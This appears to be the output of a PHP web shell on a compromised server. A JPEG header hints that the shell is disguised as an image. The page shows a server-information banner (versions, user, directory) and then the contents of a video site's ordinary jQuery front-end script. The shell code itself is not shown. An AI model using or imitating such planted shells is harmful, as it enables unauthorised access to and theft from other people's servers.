���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/vidoe.top/skin/1video/js/ |
(function($) { "use strict"; // Start of use strict // Toggle the side navigation $(document).on('click', '#sidebarToggle', function(e) { e.preventDefault(); $(".sidebar").toggle(); //$("body").toggle(); /*$("body").toggleClass("sidebar-toggled"); $(".sidebar").toggleClass("toggled");*/ }); // Prevent the content wrapper from scrolling when the fixed side navigation hovered over $('body.fixed-nav .sidebar').on('mousewheel DOMMouseScroll wheel', function(e) { if ($window.width() > 768) { var e0 = e.originalEvent, delta = e0.wheelDelta || -e0.detail; this.scrollTop += (delta < 0 ? 1 : -1) * 30; e.preventDefault(); } }); // Category Owl Carousel const objowlcarousel = $('.owl-carousel-category'); if (objowlcarousel.length > 0) { objowlcarousel.owlCarousel({ responsive: { 0:{ items:1, }, 600:{ items:3, nav:false }, 1000: { items: 4, }, 1200: { items: 8, }, }, loop: false, rewind: true, lazyLoad: true, autoplay: true, autoplaySpeed: 1000, autoplayTimeout: 2000, autoplayHoverPause: true, nav: true, navText:["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], }); } // Login Owl Carousel const mainslider = $('.owl-carousel-login'); if (mainslider.length > 0) { mainslider.owlCarousel({ items: 1, lazyLoad: true, loop: true, autoplay: true, autoplaySpeed: 1000, autoplayTimeout: 2000, autoplayHoverPause: true, }); } // Tooltip $('[data-toggle="tooltip"]').tooltip() // Scroll to top button appear $(document).on('scroll', function() { var scrollDistance = $(this).scrollTop(); if (scrollDistance > 100) { $('.scroll-to-top').fadeIn(); } else { $('.scroll-to-top').fadeOut(); } }); // Smooth scrolling using jQuery easing $(document).on('click', 'a.scroll-to-top', function(event) { var $anchor = $(this); $('html, body').stop().animate({ scrollTop: ($($anchor.attr('href')).offset().top) }, 1000, 'easeInOutExpo'); event.preventDefault(); }); $("span.other_title").each(function() { var id = $(this).attr("id"); if($(this).attr("id") && $(this).text().trim()=='') { if(id.indexOf("__")>=0) { var split = id.split('__'); var arr_urls = ["st1.123vid.net"]; var v_url = arr_urls[Math.floor(Math.random() * arr_urls.length)]; if(split[1]!='') { $('#'+id).html('<img src="skin/1video/img/fb-loading.gif" style="width: 16px; height: 11px; border: none;">'); $.ajax({ url: 'https://img.vidoe.top/youtube_duration.php?id=' + split[1], success: function (result) { $('#' + id).html(result); } }); }else{ return false; } } }else{ return false; } }); var video_find_18plus = $('#video-find-18plus'); if(video_find_18plus.length > 0){ var url_string = window.location.href; var url = new URL(url_string); var kw = url.searchParams.get("q"); var page = Number($('#other_v_page_18plus').val()); $.ajax({ type: 'GET', url: 'https://img.vidoe.top/search18.php', data: 'kw='+kw+'&p='+page, dataType: 'json', success: function (res) { var html=''; var next=''; var i=0; $.each(res.videos, function (key, video) { html += '<div class="col-xl-222 col-sm-6 mb-3"><div class="video-card"><div class="video-card-image"><a class="play-icon" href="video/'+video.ftitle+'-'+video.id_encode+'.html" title="'+video.title+'"><i class="fas fa-play-circle"></i></a><a href="video/'+video.ftitle+'-'+video.id_encode+'.html" title="'+video.title+'"><img class="img-fluid" src="'+video.img+'" alt="'+video.title+'" title="'+video.title+'"></a><div class="time">'+video.duration+'</div></div><div class="video-card-body"><div class="video-title"><a title="'+video.title+'" href="video/'+video.ftitle+'-'+video.id_encode+'.html">'+video.title+'</a></div><div class="video-page text-success"> by <a href="channel/'+video.user_id+'/'+video.fuser_post+'/">'+video.user_name+'</a></div></div></div></div>'; i++; }); $('#more_search_content_18plus').append(html); page = Number(page + 1); $('#other_v_page_18plus').attr('value',page); $('#other_video_18plus').show(); $('.spinner-border').hide(); if(i<1){ $('#other_video_18plus').hide(); return false; } } }); } $('#other_video_18plus').click(function () { var url_string = window.location.href; var url = new URL(url_string); var kw = url.searchParams.get("q"); var page = Number($('#other_v_page_18plus').val()); $('#other_video_18plus').hide(); $('.spinner-border').show(); $.ajax({ type: 'GET', url: 'https://img.vidoe.top/search18.php', data: 'kw='+kw+'&p='+page, dataType: 'json', success: function (res) { var html=''; var next=''; var i=0; $.each(res.videos, function (key, video) { html += '<div class="col-xl-222 col-sm-6 mb-3"><div class="video-card"><div class="video-card-image"><a class="play-icon" href="video/'+video.ftitle+'-'+video.id_encode+'.html" title="'+video.title+'"><i class="fas fa-play-circle"></i></a><a href="video/'+video.ftitle+'-'+video.id_encode+'.html" title="'+video.title+'"><img class="img-fluid" src="'+video.img+'" alt="'+video.title+'" title="'+video.title+'"></a><div class="time">'+video.duration+'</div></div><div class="video-card-body"><div class="video-title"><a title="'+video.title+'" href="video/'+video.ftitle+'-'+video.id_encode+'.html">'+video.title+'</a></div><div class="video-page text-success"> by <a href="channel/'+video.user_id+'/'+video.fuser_post+'/">'+video.user_name+'</a></div></div></div></div>'; i++; }); $('#more_search_content_18plus').append(html); page = Number(page + 1); $('#other_v_page_18plus').attr('value',page); $('#other_video_18plus').show(); $('.spinner-border').hide(); if(i<1){ $('#other_video_18plus').hide(); return false; } } }); }); var processing; $(window).scroll(function() { if(processing) { return false; } if ($(window).scrollTop() >= ($(document).height() - $(window).height())*0.7){ if($('#token').length > 0) { processing = true; var token = $('#token').val(); var ref = $('#ref').val(); $.ajax({ type: 'GET', url: 'https://api1.vidoe.top/trend2_con.php', data: 'token=' + token + '&ref=' + ref, dataType: 'json', success: function (res) { var html = ''; var next = ''; var i = 0; $.each(res.videos, function (key, val) { html += '<div class="col-xl-222 col-sm-6 mb-3"><div class="video-card"><div class="video-card-image"><a class="play-icon" href="video/' + val.ftitle + '-' + val.id_you_encode + '.html" title="' + val.title + '"><i class="fas fa-play-circle"></i></a><a href="video/' + val.ftitle + '-' + val.id_you_encode + '.html" title="' + val.title + '"><img class="img-fluid" src="' + val.img + '" alt="' + val.title + '" title="' + val.title + '"></a><div class="time">' + val.duration + '</div></div><div class="video-card-body"><div class="video-title"><a title="' + val.title + '" href="video/' + val.ftitle + '-' + val.id_you_encode + '.html">' + val.title + '</a></div><div class="video-page text-success"> by <a href="channel/' + val.channel_id_e + '/' + val.channel_fname + '/">' + val.channel_name + '</a></div><div class="video-view"><i class="fas fa-calendar-alt"></i> ' + val.ago + '</div></div></div></div>'; i++; }); $('#more_search_content').append(html); $('#token').attr('value', res.next_token); $('#ref').attr('value', res.ref); if (i < 1 || res.next_token=='') { $('.spinner-border').hide(); $('#other_video').show(); return false; } processing = false; } }); } } }); $('#other_video').click(function () { var page = Number($('#other_v_page').val()); $('#other_video').hide(); $('.spinner-border').show(); $.ajax({ type: 'GET', url: 'https://api1.vidoe.top/trend3.php', data: 'pageNum2='+page, dataType: 'json', success: function (res) { var html=''; var next=''; var i=0; $.each(res.videos, function (key, val) { html += '<div class="col-xl-222 col-sm-6 mb-3"><div class="video-card"><div class="video-card-image"><a class="play-icon" href="video/'+val.ftitle+'-'+val.id_you_encode+'.html" title="'+val.title+'"><i class="fas fa-play-circle"></i></a><a href="video/'+val.ftitle+'-'+val.id_you_encode+'.html" title="'+val.title+'"><img class="img-fluid" src="'+val.img+'" alt="'+val.title+'" title="'+val.title+'"></a><div class="time">'+val.duration+'</div></div><div class="video-card-body"><div class="video-title"><a title="'+val.title+'" href="video/'+val.ftitle+'-'+val.id_you_encode+'.html">'+val.title+'</a></div><div class="video-page text-success"> by <a href="channel/'+val.channel_id_e+'/'+val.channel_fname+'/">'+val.channel_name+'</a></div><div class="video-view"><i class="fas fa-calendar-alt"></i> '+val.ago+'</div></div></div></div>'; i++; }); $('#more_search_content').append(html); page = Number(page + 1); $('#other_v_page').attr('value',page); $('#other_video').show(); $('.spinner-border').hide(); if(i<1){ $('#other_video').hide(); return false; } } }); }); $('#c_about').click(function () { $('.single-video-info-content').removeClass('d-lg-none'); $('#c_video_list').addClass('d-lg-none'); $('#c_video').removeClass('active'); $('#c_about').addClass('active'); $('#page_navigation').hide(); }); $('#c_video').click(function () { $('.single-video-info-content').addClass('d-lg-none'); $('#c_video_list').removeClass('d-lg-none'); $('#c_video').addClass('active'); $('#c_about').removeClass('active'); $('#page_navigation').show(); }); $('#search_cn_btn').click(function () { var c_k = $('#c_title_search').val(); var c_kw = $('#c_kw_search').val(); if(c_kw!='') { location.href = '?act=search&q=' + c_kw + ' ' + c_k; }else{ return false; } }); if($("#hyv-search").length > 0) { $("#hyv-search").autocomplete({ source: function (request, response) { //console.log(request.term); var sqValue = []; var obj = []; $.ajax({ type: "POST", url: "https://suggestqueries.google.com/complete/search?hl=en&ds=yt&client=youtube&hjson=t&cp=1", dataType: 'jsonp', data: $.extend({ q: request.term }, {}), success: function (data) { //console.log(data[1]); obj = data[1]; $.each(obj, function (key, value) { sqValue.push(value[0]); }); response(sqValue); } }); } }); } if($('#channel_name').length > 0){ $("#channel_name").keyup(function () { var channel_name= $('#channel_name').val().toLowerCase().replace(/[^a-z0-9]/g, ''); this.value = $.trim(channel_name); channel_name= $.trim(channel_name); $('#ch_url').html('<label for="e1">Channel URL:</label><span class="text-white">https://vidoe.top/user/'+channel_name+'/</span>'); }); } })(jQuery); // End of use strict function show_more_channel(token,ref){ $('#show_more_channel').html('<img src="skin/1video/img/fb-loading.gif" style="width: 16px; height: 11px; border: none;">'); $.ajax({ type: 'GET', url: 'https://img.vidoe.top/yt_cn_con.php', data: 'token='+token+'&ref='+ref, dataType: 'json', success: function (res) { var html=''; var next=''; var i = 0; $.each(res.videos, function (key, value) { html += '<div class="col-xl-222 col-sm-6 mb-3">\n' + ' <div class="video-card">\n' + ' <div class="video-card-image">\n' + ' <a class="play-icon" href="video/'+value.ftitle+'-'+value.id_you_encode+'.html" title="'+value.title+'"><i class="fas fa-play-circle"></i></a>\n' + ' <a href="video/'+value.ftitle+'-'+value.id_you_encode+'.html" title="'+value.title+'"><img class="img-fluid" src="'+value.img+'" alt="'+value.title+'" title="'+value.title+'"></a>\n' + ' <div class="time">'+value.duration+'</div>\n' + ' </div>\n' + ' <div class="video-card-body">\n' + ' <div class="video-title">\n' + ' <a title="'+value.title+'" href="video/'+value.ftitle+'-'+value.id_you_encode+'.html">'+value.title+'</a>\n' + ' </div>\n' + ' </div>\n' + ' </div>\n' + ' </div>'; i++; }); $('#c_video_list').append(html); if(i<1) { $('#show_more_channel').html(''); return false; }else{ $('#show_more_channel').html('<a class="page-link" href="javascript:void(0);" onclick="show_more_channel(\'' + res.continuation + '\',\'' + res.ref + '\');">Show more</a>'); } } }); } function show_more_search(token,ref){ $('#show_more_search').html('<img src="skin/1video/img/fb-loading.gif" style="width: 16px; height: 11px; border: none;">'); $.ajax({ type: 'GET', url: 'https://api1.vidoe.top/search2_con.php', data: 'token='+token+'&ref='+ref, dataType: 'json', success: function (res) { var html=''; var next=''; $.each(res.videos, function (key, value) { html += '<div class="col-xl-222 col-sm-6 mb-3">\n' + ' <div class="video-card">\n' + ' <div class="video-card-image">\n' + ' <a class="play-icon" href="video/'+value.ftitle+'-'+value.id_encode+'.html" title="'+value.title+'"><i class="fas fa-play-circle"></i></a>\n' + ' <a href="video/{$video.ftitle}-{$video.id_encode}.html" title="{$video.title}"><img class="img-fluid" src="'+value.img+'" alt="'+value.title+'"></a>\n' + ' <div class="time">'+value.duration+'</div>\n' + ' </div>\n' + ' <div class="video-card-body">\n' + ' <div class="video-title">\n' + ' <a title="'+value.title+'" href="video/'+value.ftitle+'-'+value.id_encode+'.html">'+value.title+'</a>\n' + ' </div>\n' + ' <div class="video-page text-success">\n' + ' by <a href="channel/'+value.user_id+'/'+value.fuser_post+'/">'+value.user_name+'</a>\n' + ' </div>\n' + ' </div>\n' + ' </div>\n' + ' </div>'; }); $('#more_search_content_search_page').append(html); $('#show_more_search').html('<a class="page-link" href="javascript:void(0);" onclick="show_more_search(\'' + res.next_token + '\',\'' + res.ref + '\');">Show more</a>'); return false; } }); } function edit_video(){ $('#save_change').html('Saving...'); $('#box_loading_edit').html('<div class="spinner-border" role="status"><span class="sr-only">Loading...</span></div>'); var id= $('#id').val(); var title = $('#title').val(); if(title.length<=5){ alert('The title is empty or too short!'); $('#title').focus(); return false; } var des = $('#des').val(); var cid = $('#cid').val(); if($('#status').is(':checked')){ var status=1; }else{ status=0; } $.ajax({ type: 'POST', url: 'index.php?act=user&code=edit_video&submitbt=1', data: { 'id': id, 'title': title , 'cid': cid, 'des': des, 'status' : status }, dataType: 'text', success: function (res) { if(res=='1') { $('#save_change').html('Update successful!'); $('#box_loading_edit').hide(); }else{ alert('Have a error, please try later!'); return false; } } }); } function makeUpload() { var url_video = $('#url_video').val(); url_video = $.trim(url_video); if(url_video==''){ alert('Please input url video!'); $('#url_video').focus(); return false; } var cat = $('#cat').val(); $('#box_loading').html('<img src="https://lh4.googleusercontent.com/-Km2e_np9rDE/VSdKICigW_I/AAAAAAAAASc/hdd2G7NQCQM/My%252520Test%252520Photo.gif">'); $('#btn_upload_video').hide(); $.ajax({ type: 'POST', url: 'index.php', data: 'act=user&code=upload_video&submitbt=1&cat='+cat+'&url_video='+url_video, dataType: 'json', success: function(response) { $('#url_video').attr('value',''); $('#btn_upload_video').show(); $('#box_loading').hide(); if(response.ftitle=='0' || response.ftitle=='-1'){ alert('URL video is not match!') return false; } $('#box_result').html('<h4 style="margin-top: 20px;">Post video successful, your video url at:</h4><div class="form-group"><input type="text" value="'+response.home_url+'video/post/'+response.ftitle+'-'+response.id+'.html" onclick="this.select();" class="form-control"><dl class="tb-class-right uk-margin-top"><dt><a href="video/post/'+response.ftitle+'-'+response.id+'.html" target="_blank"><img src="'+response.img+'" alt=""></a></dt><dd><h5 class="main_title"><a href="'+response.home_url+'video/post/'+response.ftitle+'-'+response.id+'.html" title="'+response.title+'" target="_blank">'+response.title+'</a></h5><span class="other_title">Share video on: <a href="https://twitter.com/intent/tweet?url='+response.home_url+'video/post/'+response.ftitle+'-'+response.id+'.html" target="_blank"><span class="fa fa-twitter">Twitter </span></a></span>' + '<span style="padding-left: 30px;"><a href="?act=user&code=my_video"><i class="fa fa-edit"></i> Manager videos</a></span>' + '</dd></dl></div>').show(); } }); } function update_fullname(){ $('#box_loading_edit').html('<img src="https://lh4.googleusercontent.com/-Km2e_np9rDE/VSdKICigW_I/AAAAAAAAASc/hdd2G7NQCQM/My%252520Test%252520Photo.gif">'); var channel_name= $('#channel_name').val().toLowerCase().replace(/[^a-z0-9]/g, ''); this.value = $.trim(channel_name); channel_name= $.trim(channel_name); var title = $('#fullname').val(); if(channel_name.length<=3){ alert('Your channel name is empty or too short!'); $('#channel_name').focus(); return false; } if(title.length<=3){ alert('Your channel title is empty or too short!'); $('#fullname').focus(); return false; } var chuky = $('#chuky').val().trim(); $('#save_change').html('Saving...'); $.ajax({ type: 'POST', url: 'index.php', data: 'act=user&code=update_fullname&name='+channel_name+'&fullname=' + title+'&chuky='+chuky, dataType: '', success: function (res) { if(res!='0') { $('#save_change').html('Updated!'); $('#box_loading_edit').hide(); $('.channel-brand').html(res); return false; }else{ alert('Channel name already exists, please choose another name.'); return false; } } }); } $uploadCrop = $('#upload-demo').croppie({ enableExif: true, viewport: { width: 200, height: 200, type: 'circle' }, boundary: { width: 200, height: 200 } }); $('#upload').on('change', function () { var reader = new FileReader(); reader.onload = function (e) { $uploadCrop.croppie('bind', { url: e.target.result }).then(function(){ console.log('jQuery bind complete'); }); } reader.readAsDataURL(this.files[0]); }); $('.upload-result').on('click', function (ev) { $('.upload-result').text('Saving...'); $uploadCrop.croppie('result', { type: 'canvas', size: 'viewport' }).then(function (resp) { $.ajax({ url: "index.php?act=user&code=change_avatar", type: "POST", data: {"image":resp}, dataType: '', success: function (data) { $('.channel-profile-img').attr('src',data); $('#upload-demo').attr('src',data); $('.upload-result').text('Updated!'); $(window).scrollTop(0); } }); }); }); $uploadCropBanner = $('#upload-demo-banner').croppie({ enableExif: true, viewport: { width: 1707, height: 238 }, boundary: { width: 930, height: 200 } }); $('#upload_banner').on('change', function () { var reader = new FileReader(); reader.onload = function (e) { $uploadCropBanner.croppie('bind', { url: e.target.result }).then(function(){ console.log('jQuery bind complete'); }); } reader.readAsDataURL(this.files[0]); }); $('.upload-result-banner').on('click', function (ev) { $('.upload-result-banner').text('Saving...'); $uploadCropBanner.croppie('result', { type: 'canvas', size: 'viewport' }).then(function (resp) { $.ajax({ url: "index.php?act=user&code=change_banner", type: "POST", data: {"image":resp}, dataType: '', success: function (data) { $('#c_banner').attr('src',data); $('#upload-demo-banner').attr('src',data); $('.upload-result-banner').text('Updated!'); $(window).scrollTop(0); } }); }); }); function googleLogin(){ var popupWidth=450; var popupHeight=600; var xPosition=($(window).width()-popupWidth)/2; var yPosition=($(window).height()-popupHeight)/2; var loginUrl="https://videoandmovie.top/proxy/login_google.php"; window.open(loginUrl, "LoginWindow", "location=1,scrollbars=1,"+ "width="+popupWidth+",height="+popupHeight+","+ "left="+xPosition+",top="+yPosition); } function facebookLogin() { var popupWidth=500; var popupHeight=600; var xPosition=($(window).width()-popupWidth)/2; var yPosition=($(window).height()-popupHeight)/2; var loginUrl="https://videoandmovie.top/proxy/facebook_login/v2/fblogin.php"; window.open(loginUrl, "LoginWindow", "location=1,scrollbars=1,"+ "width="+popupWidth+",height="+popupHeight+","+ "left="+xPosition+",top="+yPosition); } function discordLogin(){ /*var url = 'https://videoandmovie.top/login_discord.php'; var newWindow = window.open(url, 'discordlogin', 'height=600,width=450'); if (window.focus) { newWindow.focus(); }*/ var popupWidth=500; var popupHeight=600; var xPosition=($(window).width()-popupWidth)/2; var yPosition=($(window).height()-popupHeight)/2; var loginUrl="https://videoandmovie.top/login_discord.php"; window.open(loginUrl, "LoginWindow", "location=1,scrollbars=1,"+ "width="+popupWidth+",height="+popupHeight+","+ "left="+xPosition+",top="+yPosition); }